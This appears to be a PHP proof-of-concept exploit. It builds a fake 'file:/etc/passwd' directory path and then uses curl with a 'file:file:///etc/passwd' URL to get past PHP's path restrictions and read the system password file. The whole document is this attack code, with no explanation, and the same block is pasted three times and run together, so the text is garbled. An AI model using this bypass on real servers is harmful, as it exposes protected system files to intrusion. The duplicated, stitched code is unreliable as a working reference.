eval.curl.php

mkDIR("file:");

chdir("file:");

mkDIR("etc");

chdir("etc");

mkDIR("passwd");

chdir("..");

chdir("..");



$ch = curl_init();



curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd");

curl_setopt($ch, CURLOPT_HEADER, 0);



curl_exec($ch);



curl_close($ch);mkDIR("file:");

chdir("file:");

mkDIR("etc");

chdir("etc");

mkDIR("passwd");

chdir("..");

chdir("..");



$ch = curl_init();



curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd");

curl_setopt($ch, CURLOPT_HEADER, 0);



curl_exec($ch);



curl_close($ch);mkDIR("file:");

chdir("file:");

mkDIR("etc");

chdir("etc");

mkDIR("passwd");

chdir("..");

chdir("..");



$ch = curl_init();



curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd");

curl_setopt($ch, CURLOPT_HEADER, 0);



curl_exec($ch);



curl_close($ch);